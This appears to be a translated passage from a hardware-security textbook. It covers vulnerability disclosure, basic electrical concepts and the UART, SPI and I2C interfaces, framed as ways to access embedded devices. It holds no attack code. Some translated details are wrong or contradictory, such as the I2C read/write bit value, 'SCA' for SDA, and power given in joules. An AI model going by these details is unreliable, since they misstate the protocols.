在各种安全认证方案中,都有隐性或显性的安全目标。例如,前面提到的,对于智能卡,只有 30 个 JIL 点或更低的攻击才被认为是相关的。比如 Tarnovsky 在 2010 年黑帽大会 DC 演讲中展示的攻击“解构一个‘安全’处理器”超过了 30 个点,因此不被认为是安全目标的一部分。对于 FIPS 140-2 来说,任何不在特定攻击列表中的攻击都不被认为是相关的。例如,侧信道攻击可以在一天内攻破 FIPS 140-2 认证的加密引擎,而 FIPS 140-2 的安全目标仍然认为它是安全的。每次使用具有安全证书的设备时,都要确保该证书的安全目标与您的目标一致。

安全问题的披露

安全问题披露是一个备受争议的话题,我们并不打算在几段话中解决这个问题。我们希望在讨论硬件安全问题时为辩论增添一些色彩。硬件和软件始终会存在安全问题。对于软件,您可能能够分发新版本或补丁。而修复硬件因各种原因而成本高昂。

我们认为披露的目标是公共安全和安保,而不是制造商的商业利益或研究人员的名利。这意味着披露必须从长远来看为公众服务。披露是迫使制造商修复漏洞的工具,同时也让公众了解某产品的风险。完全披露的一个不受欢迎的副作用是,一大批攻击者将在修复广泛发布之前利用该漏洞。

对于硬件漏洞,通常在生产后该漏洞无法修复,尽管发布软件补丁可以缓解此问题。在这种情况下,类似于软件披露的 90 天披露期可能也适用。对于纯硬件的修复,我们尚不清楚有类似的惯例(尽管我们见过软件惯例的应用)。

在硬件中,通常无法通过软件更新绕过漏洞,而且补丁几乎不可能分发和安装。一位有良好意图的制造商可以在下一个版本中修复漏洞,但现场的产品仍然会受到威胁。在这种情况下,披露的唯一好处是公众的知情;缺点是直到有漏洞修复产品替换或停产前,会有很长的时间间隔。另一种选择是部分披露。例如,制造商可以说明风险和产品,但不披露如何利用漏洞的具体细节。(这种策略在软件领域并不奏效,因为即便是非具体的披露,漏洞也通常很快被发现。)

当漏洞无法修补,并且可能直接影响健康和安全时,复杂性会增加。考虑一个攻击,它可以远程关闭每一个心脏起搏器。如果披露这种情况,肯定会让患者对安装心脏起搏器产生恐惧,导致更多人因心脏病发作而死亡。另一方面,这将促使供应商在下一版本中提高安全性,减少具有致命后果的攻击风险。对于自动驾驶汽车、物联网牙刷、SCADA 系统以及其他所有应用和设备,都会出现独特的权衡。特别是当漏洞存在于一种芯片上,而这种芯片被广泛应用于各种产品时,挑战会更大。

我们并不是说我们能提供所有情况下的“魔法答案”,但我们鼓励每个人认真考虑要采取什么样的披露方式。制造商应以系统最终会被攻破为前提来设计系统,并围绕这一前提制定安全场景。不幸的是,这种做法并不普遍,特别是在市场推出时间和低成本主导的情况下。

概述

本章概述了一些嵌入式安全基础知识。我们描述了在分析设备时,您无疑会遇到的软硬件组件,并讨论了“安全”在哲学上的含义。为了正确分析安全问题,我们介绍了威胁模型的四个组成部分:攻击者、各种(硬件)攻击、系统的资产和安全目标,最后是您可以实施的反制措施类型。我们还描述了用于创建、分析和评估攻击的工具,使用攻击树和行业标准评级系统。最后,我们探讨了硬件漏洞的披露这一棘手的话题。

通过掌握这些知识,我们的下一步将是开始对设备进行探测,这也是我们在下一章要做的事情。

第二章:触摸我,触摸你:硬件外设接口

大多数嵌入式设备使用标准化的通信接口与其他芯片、用户和外界进行交互。由于这些接口通常处于低级别,且很少对外开放,并依赖于不同制造商之间的互操作性,因此它们通常没有应用任何保护、混淆或加密。在本章中,我们将讨论一些有助于理解这些不同类型接口工作的电气基础知识。

接下来,我们将查看来自三类通信接口的示例:低速串行接口、并行接口和高速串行接口。最容易监控或仿真的是用于大多数基本通信的低速串行接口。需要更高性能或带宽的设备可能更难与之交互,且往往使用并行接口。并行接口正在迅速过渡到高速串行接口,即使是在最便宜的嵌入式设备上,也能可靠地运行在千兆赫范围内,但与它们交互通常需要专用的硬件。

在分析嵌入式系统时,你需要意识到需要相互通信的多个互联组件,并决定这些组件和通信通道是否可信。这些接口是嵌入式安全性中最关键的方面之一,然而,嵌入式系统设计人员常常假设攻击者无法物理接触这些通信通道,因此他们认为可以信任任何接口。这个假设给攻击者提供了一个机会,可以被动监听或主动参与,从而影响设备的安全性。

电学基础

在与不同种类的接口交互时,了解一些基本的电学术语非常有帮助。如果你熟悉电压、电流、阻力、反应性、电抗、感抗和电容,并且知道 AC/DC 不仅仅是澳大利亚摇滚乐队的名字,那就可以跳过这一部分。(如果你不熟悉澳大利亚摇滚乐队 AC/DC,建议你先从高电压的歌曲《Thunderstruck》开始了解。)

电压

伏特V,单位为 V,得名于亚历山德罗·伏特)是电压的电学单位。它指的是电势,即电子从 A 点到 B 点推动的力度。可以把电线中的电压比作水管中的水压,或者说水从 A 点到 B 点推动的力度。

电压总是测量两个点之间的差值。例如,如果你拿一只万用表和一节 AA 电池,你可以测量负极和正极之间的电压,并观察到电压差为 1.5 V(如果低于 1.3 V,可能是时候换电池了)。如果你交换两个测量探针,你会看到电压差为–1.5 V。

当人们仅提及电压的某一点时,他们实际上是在谈论该点相对于所谓的地线的电压。地线通常是系统的公共参考;在这种情况下,地线的电压定义为 0 V。

当前

安培I,单位为 A,以安德烈-玛丽·安培命名)是衡量电流的单位,指的是在一定时间内通过某一点的电子数量。电线中的电流类似于水管中的水流,但与其测量水流通过水管的横截面不同,在电路中,我们统计的是通过电线横截面的电子数量。其他条件相同的情况下,更高的水压意味着相同时间内更多的水流通过水管。同样,电线两端的电压越高,相同时间内通过的电流也越大。

对于人类来说,100 mA 大约是足以使心脏停搏的电流,而在嵌入式设备中,你很容易遇到数安培的电流。幸运的是,为了让电流通过人体,所需的电压需要比电子设备中常见的电压高得多。尽管两位作者都曾经经历过 110 V 电击并讲述这个故事,但这些不愉快的经历使我们建议避免触摸带电电路,即使你认为那是一个安全电压。

电阻

欧姆R,单位为Ω,以乔治·西蒙·欧姆命名)是衡量电阻的单位,表示电子通过两个点的难易程度。继续使用水流的类比,电阻类似于水管的宽度或狭窄程度(或者水管内部可能有多堵塞)。

欧姆定律

电压、电流和电阻是紧密相关的。欧姆定律总结了这种关系:V = I × R,该公式指出,知道任意两个参数就能计算出第三个参数。

这意味着如果你知道电线上的电压(电势)以及电线的欧姆值(电阻),你就可以计算电线上的电流(流量)。

交流电/直流电

直流电 (DC)交流电 (AC) 分别指的是恒定和变化的电流。现代电子设备使用来自直流电源的电力,如电池和直流电源。交流电是正弦波变化的电压(因此也是电流),通常出现在 240 V 或 110 V 电力网中,但正弦波变化的电压也用于电子设备中,例如开关电源。在本书中,我们通过设备电路中的活动变化来测量电流的变化。恒定的电流消耗是该测量的直流分量,而我们非常关注的电流变化部分,可以宽泛地称为交流分量。

拆解电阻

在交流电中,阻抗等同于直流电中的电阻。在交流电中,阻抗是由电阻和反应抗组成的复数,并且它依赖于交流信号的频率。反应抗是感抗和容抗的函数。

电感是电路对电流变化的抵抗(类似“反对”)。回到水的类比,如果水流向一个方向,那么由于流动水的动能,要将水推向相反的方向需要一些能量。在电感中,这个能量存储在流过导线的磁场中,需要一个“反向推力”才能改变电流方向。电感引起的电压与电流变化(变化)成正比。电感的单位是亨利,以约瑟夫·亨利命名。

电容是对电压变化的抗拒。考虑一个连接到水箱的竖直管道,并与一个水平管道相连,水流通过(见图 2-1)。

f02001

图 2-1:如果电流像水一样,那么电容器就像一个水箱。左侧是水箱在“充电”,右侧是水箱在“放电”。

当管道中有较高的输入压力时(见图 2-1,左侧),水不断流入水箱,直到水箱满。若输入压力下降,水箱开始排水,直到水空为止。这里的类比是,竖直管道中的压力与电容器上的电压相关,而水箱中的水量与电容器所储存的电荷相关。如果电容器上的电压足够高以“推高水位”,电容器将吸入电荷。如果电压太低,电容器则会“排水”并释放电荷。水箱会在其容量范围内反抗输出端的压力变化,而电容器则会反抗输出端的电压变化。电容与电气元件储存电荷的能力相关,并且它会引起与电压变化成正比的电流。电容的单位是法拉,以迈克尔·法拉第命名。

功率

功率是每秒消耗的能量,单位为焦耳,用P表示,单位是瓦特W,以詹姆斯·瓦特命名)。在电子电路中,这种能量几乎完全转化为热量。这个过程叫做功率耗散,而一个给定负载的功率公式,即P = I × I × R,便是对此的表达。功率耗散P与电流I的平方和电阻R成线性关系。这被称为静态功耗。根据欧姆定律,我们也可以将功率公式重写为电流和电压的测量方式。因此,我们可以通过测量电路中的电流和负载两端的电压来测量功率,公式为P = I × V

你可能已经观察到,当你的计算机进行大量工作时,它会变热:这是动态功耗。在你的 CPU 中,很多晶体管在工作时会发生切换,这需要额外的功率(而计算机会将其转换为热量,需要你将笔记本电脑从被子上移开)。数字门电路就像是带有小串联电阻的开关,每根电线大致充当一个小电容。当数字门电路驱动电线时,它需要给电容充电和放电,这需要能量。数字门从高电平到低电平再到高电平的切换速度越快,门电路的工作负担就越重,门电路通过小串联电阻消耗的功率也就越多。

本书中描述的物理现象远比我们想要阐述的要复杂,但有一点规则需要记住,因为它与侧信道分析相关:如果你将电线建模为一个电容 C,在频率 f 下将一个方波在 0 V 和 V 伏特之间切换,则需要的功率为 P = C × V × V × f。换句话说,切换速度更快、增加电压或增加电容都会增加 CPU 所需的功率,而这是我们在侧信道中可以观察到的。

与电力的接口

现在我们已经回顾了基础内容,接下来让我们探讨如何使用电力构建通信通道。你遇到的接口将使用不同的电气特性以实现不同的通信方式,而每种方式都有其优缺点。

逻辑电平

在数字通信中,通信双方交换符号(例如字母表中的字母)。发送者和接收者约定了一组符号来表示字母和单词。当通过电线进行通信时,电压差异对这些符号进行编码,并将它们从一侧的电线发送到另一侧。另一侧可以观察到电压变化,进而重构符号和消息。

摩尔斯电码,作为最早的通过电线传输信息的方式之一,说明了这个原理。摩尔斯电码的符号是点和划,每个符号对应一个电压级别或形状。在摩尔斯电码中,点是短暂的高电压脉冲,划是较长的高电压脉冲。

在使用摩尔斯电码进行通信时,发送者有一个按钮,接收者则有一个蜂鸣器或在纸带上写字的标记器。当发送者按下按钮时,电线连接到电源,这会在电线上产生电压差,当另一端接通电源时,蜂鸣器会发出声音。通过解码点、划和空格(即短和长的高电压脉冲)以及电线上的沉默(见 图 2-2),我们可以得出字母和单词。

f02002

图 2-2:通过电线传输的摩尔斯电码

在现代信号方案中,符号是比特(零和一)。一个完整的通信方案可能还会使用额外的特殊符号(例如,用于表示传输的开始和结束,或帮助检测传输错误)。你可以用高逻辑电平表示“1”比特,用低逻辑电平表示“0”比特。我们可以约定,0 V 代表零,5 V 代表一。然而,由于电线的电阻,你可能在另一端看不到完整的 5 V,可能只有 4.5 V。考虑到这一点,我们约定任何低于 0.8 V 的信号为零,任何高于 2 V 的信号为一,这样给我们提供了一个较大的误差范围。如果我们改用一个输出电压只有 3.3 V 的低电压源,仍然可以进行通信,只要我们能够产生高于 2 V 的电压。

0.8 V 和 2 V 参数是我们约定的切换阈值。你最常见的阈值集是晶体管-晶体管逻辑(TTL)阈值集。TTL 这个术语通常用来表示存在一些低电压信号,其中 0 V 代表逻辑零,更高的电压(根据具体标准从 1 V 到 5 V 不等)代表逻辑一。

切换阈值的另一个原因是,尽管我们描绘了完美的电压,任何模拟系统中都会存在噪声。这意味着,即使发送方尝试发送完美的 5 V 信号,你也可能会在接收端看到一个在 4.7 V 和 4.8 V 之间波动的信号,看起来似乎是随机的。这就是噪声。噪声是在发送端产生的,在传输过程中从空气中捕获并在接收端测量。如果我们的切换阈值是 2 V,这种噪声就不成问题,并且结合错误校正码,通信仍然是可能的。问题出现在敌对噪声引入时:不是大自然产生的随机噪声,而是攻击者注入的噪声,使接收端误解为攻击者控制的信息。这可能会悄悄地破坏通信,除非使用加密签名。故障注入也可以视为敌对噪声。

你实际上可能会遇到许多逻辑阈值,它们可能并不都能相互理解(参见图 2-3)。

图 2-3 中定义了几个电压水平。VCC 是电源电压,当驱动“1”时,输出电压应介于 VCC 和 V[OH] 之间,而驱动“0”时,输出电压应介于 V[OL] 和 GND 之间。在接收端,任何介于 VCC 和 V[IH] 之间的信号应解释为一,任何介于 V[IL] 和 GND 之间的信号应解释为零。

f02003

图 2-3:不同标准电压阈值。图例:VCC = 供电电压,V[OH] = 所需的最小高输出电压,V[IH] = 所需的最小高输入电压,V[IL] = 所需的最大低输入电压,V[OL] = 所需的最大低输出电压,GND = 地。

高阻抗、上拉电阻和下拉电阻

集成设备不像社交媒体上的朋友,似乎总是在线和连接的。有时设备实际上会“安静”下来,这在电子学中称为高阻抗状态(就像电阻一样,单位也以Ω为单位)。这种安静状态与 0 V 不同。如果你将 0 V 和 5 V 连接在一起,电流会从 5 V 端流向 0 V 端,但如果你将高阻抗连接到 5 V,几乎没有电流会流动。如前所述,高阻抗是高电阻的交流等效物;这就是为什么电流不流动的原因。可以将 0 V 想象成测量水洼表面压力的方式;高阻抗就像关闭水管上的水龙头。

高阻抗状态也意味着信号非常容易在高电压和低电压之间波动,甚至受到最小的干扰,比如串扰或无线电信号。有时我们称这些信号为“漂浮”;就像一滴雨水落在漂浮在空中的水压传感器上,导致其给出无意义且不稳定的读数。

为了确保设备不会将随机和错误的信号误认为有效数据,我们可以使用上拉和下拉电阻来防止这些信号“漂浮”不定。上拉电阻是一个将信号连接到高电压的电阻,下拉电阻是一个将信号连接到地或 0 V 的电阻。强上拉电阻(通常在 50 Ω到 470 Ω之间)设计用来产生强信号,需要强大的干扰信号才能覆盖它。弱上拉电阻(通常在 10 kΩ到 100 kΩ之间)会在没有其他更强信号将其拉低或拉高电压时,将信号保持在高电平。一些芯片在输入端设计了弱的内部上拉电阻,以避免信号在数字环境中漂浮。请注意,上拉和下拉电阻仅用于防止随机干扰信号被误认为是有效信号;它们不会阻止更强的有效信号被识别。

推拉与三态与开集电极或开漏

为了实现双向通信,甚至在一根电线上传输多个发送者和接收者,我们需要做一些额外的工作。假设我们有两个想要通信的方,以下简称为“我”和“你”。如果我只想将数据发送给你,之前使用的简单 0 V 到 5 V 的方法将完全适用。这被称为推拉输出,因为我将把你的输入推到 5 V,或者将你的输入拉到 0 V。你对此没有发言权,其他任何人也没有。

但是如果你现在想反向传输数据,通过相同的连接线路发送数据给我呢?我需要保持安静并进入高阻抗模式,这样你就可以有机会回应我。为了进行通信,一方必须在发送信号,而另一方则必须在接收信号。虽然这看起来很基础,但在任何通信系统中,发送和接收都需要精心设计,事实上很多人类也未完全掌握这一点。

为了进行通信,我可以处于 1 状态或 0 状态(发送信号),也可以处于高阻抗状态(接收信号),这也被称为 Hi-Z(阻抗用 Z 表示)或 三态(因为这是第三种状态)。更好的是,如果我们协调“进入三态”的时机,我们可以让多个设备通过我们的线路进行通信。这些连接的线路被称为 总线。总线共享线路,所有设备轮流使用这些线路。图 2-4 展示了两个设备之间的通信示意图。

在 图 2-4 的上部电路中,设备 2 控制着这条线路,因为 EN[2] = 1 且 EN[1] = 0(Hi-Z)。它在线路上设置了值 B,设备 1 然后读取到这个值。下面,设备 1 发送 A,因为 EN[1] = 1 且 EN[2] = 0(Hi-Z)。

f02004

图 2-4:通过三态缓冲器通信的两个设备

开路集电极开漏 是指将晶体管连接到线路的不同方式。与具有 0 和 1 输出的晶体管不同,开路集电极晶体管有 0 和 Hi-Z 状态。如果我们将多个晶体管的集电极输出连接到一根线路并使用一个上拉电阻,那么这些连接的集电极中的任何一个都可以将线路拉低到 0 V,从而通过公共线路向下一个输入发送一位信息。在信号发送时,其他集电极应保持在 Hi-Z 状态,整个信号必须与其他集电极的输出保持同步。这项技术使得通过晶体管进行通信成为可能。

异步 vs. 同步 vs. 嵌入式时钟

在我们的 TTL 通信示例中,我们略过了一个方面——时钟信号。如果我们交替地在线路上输出 0 V 和 5 V,如何区分像 10101 和 10010111 这样的 1 和 0 序列呢?它们看起来都会像 1 V,0 V,1 V,0 V,1 V,因为重复的信号看起来就像是一个信号。

当我们使用 异步 通信时,我不会电气化地告诉你何时期待数据。到某个时刻,我会开始发送数据。如果我确实想通过异步线路清晰地向你发送 10010111,我们需要提前约定好 数据传输速率,即我会以什么样的速率发送信号给你。数据传输速率规定了我将保持信号高电平或低电平的时间,以表示一位数据。例如,如果我规定每秒钟发送一位数据,你就知道 0 V 持续一秒表示 0,而 0 V 持续三秒表示 000。

同步通信是我们共享一个时钟,使我们能够同步传输比特的开始和结束,但有许多不同的方法可以共享时钟。

通用时钟意味着在我们的系统中有一个普遍的节拍器在某处滴答作响——一个我们都遵循的时钟。在这个意义上,时钟也由电信号携带:高电压的滴答和低电压的嘀嗒。当时钟滴答时,我将通信线路设为 5 V。当它嘀嗒时,你读取 5 V 并解码为“1”。当时钟再次滴答时,我可以保持线路为 5 V,而在第二个嘀嗒时,你就知道我已经发送了“11”。如果系统中的不同接口需要不同的时钟速度,这会变得复杂。

源同步时钟对于接收方来说是相同的,但与通用时钟不同,发送方设置节拍器。如果我是发送方,在设置值之前我会滴答一下,然后在完成时嘀嗒一下。你在另一端监听,每次我嘀嗒时检查值。源同步时钟的一个好处是,如果我没有要说的话或需要一些时间来组织我的比特,我可以暂停时钟。你,以你那机器般无限的耐心和顺从,将等一个永恒,直到我准备继续。通用时钟和源同步时钟的缺点是,你需要在芯片上额外增加引脚,在电路板上增加额外的线缆来传输时钟信号。

嵌入时钟自时钟信号将数据和时钟信息包含在同一个信号中。我们可以使用更复杂的模式来表示时钟信息,而不是直接说 5 V 代表 1,0 V 代表 0。例如,图 2-5 展示了曼彻斯特编码如何定义 1 为从高电压到低电压的过渡,0 为从低电压到高电压的过渡。

f02005

图 2-5:曼彻斯特编码示例,它将数据和时钟结合在一个信号中

每一个通过等时间间隔传输的比特都会在中间包含一个转换,允许接收方恢复时钟。

差分信号

到目前为止,我们讨论的一切都涉及单端信号,这意味着我们使用一根线来表示一串 1 和 0。这种设计简单,并且在低速和简单设备下效果很好。如果我开始将单端信号传输到你,频率达到 MHz 范围,你将不再看到具有明确高低电压的方波,而是开始看到带有圆滑边缘的高低电平,最终你将很难分辨高电平和低电平,就如图 2-6 所示。

f02006

图 2-6:高频率下失真方波

这些边缘现象被称为振铃效应,它们是由传输线的阻抗和电容引起的。振铃效应使信号变得不那么清晰数字化,并引入了模拟变化的因素。在适当的条件下,电线的长度可以充当天线,接收环境噪声,从而将模拟变化引入本应为纯数字信号的信号中。

差分信号是一种利用信号的模拟特性并将其用于抵消噪声和干扰的方式。我不使用一根电线,而是使用两根电线来传输反向的电压水平:当一根电线电压升高时,另一根电线电压下降,反之亦然。这样做的原因是,如果我将两根电线紧挨着放置,它们将遭受来自外部源的相同干扰,这种干扰在两根电线上的表现将相同,因此它们之间不会发生反向变化。在接收端,我只需将一个信号减去另一个信号,以抵消信号中的模拟部分,保留原始的数字信号。如果我配备了差分发射器,而你配备了差分接收器,我们可以通过一对电线以 GHz 的数据速率进行轻松通信,而不是通过一根电线在 MHz 范围内进行通信。

到目前为止,我们已经描述了多种不同的方式,通过电气层面使用电线来传输和接收数据。如果这些知识并没有完全掌握,也不要担心。尽管理解和与系统中不同接口的交互并不依赖于这些知识,但了解为何需要以不同的方式在各个接口之间进行交互将会有所帮助。这也有助于你确定如何处理可能遇到的新协议。

低速串行接口

如果我们告诉你,通过连接仅三根电线,你就可以访问大量嵌入式系统的根文件系统,你会相信吗?(根文件系统包含对系统操作至关重要的文件和目录。)如果我们告诉你,你只需四根电线就可以获得设备固件的完整副本呢?你只需要花费 30 美元或更少(不包括计算机)就能做到。这些攻击依赖于你与目标设备之间的通信能力,这种通信方法我们也将用于电源分析和故障注入,因此接下来我们来看看你需要了解的各种通信接口。

通用异步接收器/发射器串行

这种协议有多种名称——串行、RS-232、TTL 串行和 UART——但它们都指的是同一事物,仅有一些小的潜在差异。

UART代表通用异步接收/发送器(如果它同时支持同步操作,有时也称为USART)。请务必不要将其与通用串行总线(USB)混淆,后者是一个复杂得多的协议。通用这个词是合适的,因为它是最常见的串行接口之一,如果你在观察信号,比如通过示波器探测线路信号,它也很容易辨认。异步意味着它不带有自己的时钟;各方需要事先就时钟速度达成一致,如果他们打算通过 UART 进行通信。接收/发送器指的是,如果串行电缆中的两根线都连接,一个设备可以双向通信。

双向 UART 接口需要两根线缆(和地线),以便设备 A 和设备 B 进行通信(见图 2-7)。

f02007

图 2-7:三根用于 UART 的线缆,连接发送(TX)到接收(RX)并连接地线

RS-232是最常见的 UART 标准,但它有一个有趣的怪癖。它在许多年前为通过几米长的电缆连接设备而设计,定义了逻辑一(也叫标记)为-3 V 到-15 V 之间的任何电压,而逻辑零(也叫空格)为+3 V 到+15 V 之间的任何电压。在电缆的远端,预期能够容忍+25 V 到-25 V 之间的任何电压变化,以应对电压漂移,但今天低电压系统的信号范围通常不会超出 0 V 和 3 V 之间。你可以想象,如果将一个真正的高电压 RS-232 设备直接连接到它们的逻辑电平输入,它们会非常不高兴。另一方面,这样做确实允许跨两个不同孩子的卧室进行多人Doom游戏。

TTL 串行,使用 TTL 0 V/5 V 逻辑电平,格式上与 RS-232 完全相同。这意味着你可以使用 UART 进行通信,而无需额外的电压转换芯片。你可能会看到有人指定不同的电压电平(如“3.3 V TTL 串行”),表示他们不是使用经典的 0 V/5 V 逻辑电平,而是使用 0 V/3.3 V 逻辑电平。

UART 协议相对直接。回到我们的双向通信场景,如果我空闲时,我将持续传输逻辑一(标记)。当我准备发送一个字节的位时,我会从逻辑零“起始位”开始,以表示传输的开始。接下来,我将传输其余的位,每个字节中的最低有效位先发送。(字节是位的分组。)我可以选择在字节中包含奇偶校验信息,以便于错误检测。最后,我可以发送一个或多个逻辑一的“停止位”来表示字节的结束。为了使你能正确解释我的传输,我们需要就以下几个参数达成一致:

  1. 波特率:我将传输的比特每秒数量,你将接收的比特每秒数量。

  2. 字节长度 字节中的位数。现在几乎普遍为八位,但 UART 支持其他长度。

  3. 校验位 N 表示没有校验位,E 表示偶校验,O 表示奇校验——校验位作为一种错误检测措施,用于指示字节中 1 的总数是偶数还是奇数。

  4. 停止位 停止信号位的长度,通常为 1、1.5 或 2。

例如,如果我指定了 9600/8N1,你应该期望看到 9600 比特每秒、8 位字节、没有校验位和一个停止位(见图 2-8)。

从电气层次上升到逻辑层次后,一旦你连接了 TX、RX 和地线,并且将串行电缆连接到系统上,你可以像对待任何其他字符生成设备一样处理这个连接。在*nix 操作系统中,连接表现为 TTY 设备;在 Windows 操作系统中,它表现为 COM 端口。

f02008

图 2-8:使用 9600/8N1 的 UART 传输字节 0x71/位 0b01110001 的示例

虽然 UART 最常用于嵌入式设备上的调试控制台,但它也常用于与通信设备接口。一些带有蜂窝通信功能的手机或嵌入式系统使用 UART 协议与蜂窝无线电进行通信,采用为调制解调器控制开发的 Hayes AT 命令集。许多 GPS 模块通过 NMEA 0183 进行通信,这是一种文本协议,依赖 UART 作为数据链路层。

串行外设接口

串行外设接口(SPI)是一种低引脚数的控制器-外设、源同步的串行接口。通常,它包含一个总线上的控制器和一个或多个外设设备。而 UART 是对等接口,SPI 是控制器-外设接口,这意味着外设仅响应控制器的请求,不能发起通信。此外,与 UART 不同,SPI 是源同步的,因此 SPI 控制器将时钟信号传输给外设接收器。这意味着外设和控制器无需事先约定波特率(时钟频率),因为时钟信号已经提供。SPI 通常运行速度比 UART 协议快得多(UART 通常运行在 115.2 kHz;SPI 通常运行在 1–100 MHz)。

图 2-9 展示了 C(控制器)与 P(外设)之间 SPI 通信的四根信号线——SCK(串行时钟)、COPI(控制器输出外设输入)、CIPO(控制器输入外设输出)和CS(芯片选择),以及 GND(地线)。

正如你从引脚图名称中可能注意到的那样,没有传输和接收引脚的歧义或交换,因为无论哪一方都有明确的控制器和外设。从电气角度看,所有 SPI 输出都是推挽型的,这没有问题,因为 SPI 接口设计为只有一个控制器在总线上。

f02009

图 2-9:SPI 的四根信号线,以及地线

芯片选择引脚标有星号(CS),表示它是低有效的,即高电压为假,0V 为真。如果你是 SPI 接口上的外设设备,你需要安静地待在高阻抗模式下,直到我通过将其设置为 0V 来激活CS*。此时,你需要监听 SCK 和 COPI 以接收命令,只有当轮到你时,才能在 CIPO 引脚上做出响应。

拥有CS 引脚的一个优点是,作为控制器,我实际上可能有几个不同的CS 引脚,每个外设一个。由于在选择CS 引脚之前你需要保持在高阻抗模式,因此其他外设可以共享 SCK、COPI 和 CIPO 引脚。这允许在每个外设只增加一根额外的CS 引线的情况下,向单个控制器添加更多的 SPI 外设设备。

SPI 最常用于与 EEPROM 接口。几乎每台个人计算机上的 BIOS/EFI 代码都存储在 SPI EEPROM 中。许多网络路由器和 USB 设备将它们的整个固件存储在 SPI EEPROM 中。SPI 非常适合不一定需要高速或频繁交互的设备。环境传感器、加密模块、无线电收发器和其他设备都可以作为 SPI 设备使用。

你可能会注意到,一些设备仅使用串行数据输出(SDO)串行数据输入(SDI)的标记。这种标记明确了给定设备的引脚是输出还是输入(没有混淆控制器或外设的角色),但无论引脚名称如何,协议通常是相同的。你还可能会发现一些设备使用 MOSI 代替 COPI,MISO 代替 CIPO,SS 代替 CS,分别指代主设备/从设备术语。

Inter-IC 接口

Inter-IC 接口,也叫 IIC、I2C、I²C(发音为“I-square-C”)、两线(TWI)和 SMBus,是一种低引脚数、多控制器、源同步总线。多种名称的出现主要是由于一些细微差异和商标问题。I²C 曾是一个注册商标,因此各公司为同一总线使用了不同的名称。你会发现 I2C 在大多数方面与 SPI 非常相似,并且你可能会发现相同的设备使用 SPI 或 I2C 接口。

然而,你可能会注意到,I2C 是“多控制器”的,而 SPI 是“控制器-外设”的。图 2-10 有助于澄清这一点。

f02010

图 2-10:用于控制器和外设之间 I2C 通信的两根线

完整的“总线”由两根线组成:SDA 和 SCL。每根线连接到所有连接到总线的 I2C 端口的 SDA 或 SCL 引脚。每根线都有一个单独的上拉电阻。一个未激活的 I2C 端口会将 SDA 和 SCL 引脚置于高阻抗模式。这意味着如果没有其他设备在通信,两个线路将处于逻辑一状态,任何设备都可以通过拉低 SCA 线来接管总线。一个 I2C 设备可以仅作为控制器、仅作为外设,或者在不同时间点充当控制器或外设。

假设你和我在 I2C 总线上是两个总线控制器,连接到一个 I2C 外设 EEPROM。如果我们想访问 EEPROM,我们检查 SDA 和 SCL 线的状态。如果它们都处于逻辑一状态,总线未被使用,我可以通过发送一个 START 条件来控制总线(即,将 SDA 设置为 0,而 SCL 保持为 1)。此时,你需要站到一边,等待我完成总线操作。我会通过发送一个 STOP 条件来发出信号,将 SDA 设置为 1,而 SCL 保持为 1。图 2-11 显示了 SCA 和 SCL 线上 STOP 条件的情况。

f02011

图 2-11:I2C 线上 SDA 和 SCL 的 STOP 条件

一旦我控制了总线,你、EEPROM 和其他所有设备都必须静静等待,直到我发送出地址。

每个设备都有一个独特的 7 位地址。通常,几位是硬编码的,其余的可以通过闪存或上拉/下拉电阻进行编程,以区分连接到同一 I2C 总线的多个相同组件。7 位地址之后是一个读写位,用于指示下一个字节数据的传输方向。为了从 EEPROM 读取数据,我首先告诉 EEPROM 我想从哪个内存地址读取(这是一个写操作——即第八位为 1),然后我必须告诉 EEPROM 发送该内存位置的数据(这是一个读操作——即第八位为 0)。每传输完一个字节,接收方必须确认该字节。发送方释放 SDA 线,控制器切换 SCL 线。如果接收方接收了所有八位,它应该在此期间将 SDA 线设置为零。图 2-12 显示了在整个交易过程中 SDA 和 SCL 随时间变化的情况。

f02012

图 2-12:I2C 读取寄存器序列

一个完整的 SCA 序列在控制器设备和 EEPROM 之间如下所示:

  1. 开始序列:控制器告诉其他设备保持安静,等待接收设备地址。

  2. 外设地址:控制器发送它想要读取的 EEPROM 的 7 位设备地址。

  3. R/*W 位:控制器发送零,因为我们首先需要写入 EEPROM 内存地址。

  4. 确认:控制器释放 SDA,并期望 EEPROM 通过将 SDA 置为 0 来信号接收到设备地址。

  5. EEPROM 地址:控制器发送 8 位字节,即 EEPROM 内存地址。

  6. 确认:控制器释放 SDA,并期望 EEPROM 通过将 SDA 置为 0 来信号化接收内存地址。

  7. 启动序列:控制器重复启动序列,因为它现在想要读取数据。

  8. 外设地址:控制器重新发送 7 位 EEPROM 设备地址。

  9. R/*W 位:控制器发送一个 1,因为它现在想从刚设置的内存地址读取数据。

  10. 确认:控制器释放 SDA,并期望 EEPROM 通过将 SDA 置为零来信号化接收设备地址。

  11. EEPROM 数据:当控制器切换 SCL 时,EEPROM 会将 8 个数据位从内存地址通过 SDA 发送到控制器。

  12. 确认:控制器将 SDA 置为零,以确认它已接收到该字节。

  13. 重复:只要控制器继续切换 SDA 并在正确的时间确认,EEPROM 将继续向控制器发送连续的数据字节。当读取足够的字节后,控制器会发送一个非确认(NACK)来通知外设。

  14. 停止序列:控制器告诉所有人它完成了,给其他设备轮流使用总线的机会。

在整个过程中,控制器切换 SCL 以同步它与外设的通信。

这个多控制器总线的一个大优点是,它只需要两根线,无论有多少设备共享该总线。一个缺点是,由于只有一个上拉电阻,并且所有设备必须始终监听这条线,因此由于数据吞吐量需要在多个设备之间分配,有效的最大吞吐量必须低于 SPI 能够通信的设计速度。因此,你更可能在大于 1 MHz 的总线速度下找到只有 SPI EEPROM,而大多数其他设备同样可能拥有普通 SPI 或 I2C 接口。

由于只需要两根线,I2C 可以被广泛应用于各种硬件中。例如,VGA、DVI 甚至 HDMI 连接器都使用 I2C 来读取显示器的数据结构,该结构描述了显示器的输出能力。在大多数系统中,甚至可以通过软件访问这个 I2C 总线,以便在你想通过空闲的 VGA 端口将辅助设备连接到系统时使用。

由于 I2C 是一个多控制器总线,跳到 I2C 总线并作为控制器工作是完全没有问题的,而这一点在 SPI 总线上并不总是能够按预期工作。

安全数字输入/输出和嵌入式多媒体卡

安全数字输入/输出 (SDIO) 使用物理和电气SD 卡接口进行 I/O 操作。嵌入式多媒体卡(eMMC)是表面贴装芯片,提供与存储卡相同的接口和协议,但无需插槽和额外的包装。MMC 和 SD 是两个紧密相关且重叠的规范,在嵌入式系统中非常常见用于存储。

SD 卡与 SPI 向后兼容。只要你将我们之前讨论的 SPI 引脚连接到任何 SD 卡(大多数 MMC 卡也是如此),你就可以读取和写入卡上的数据。

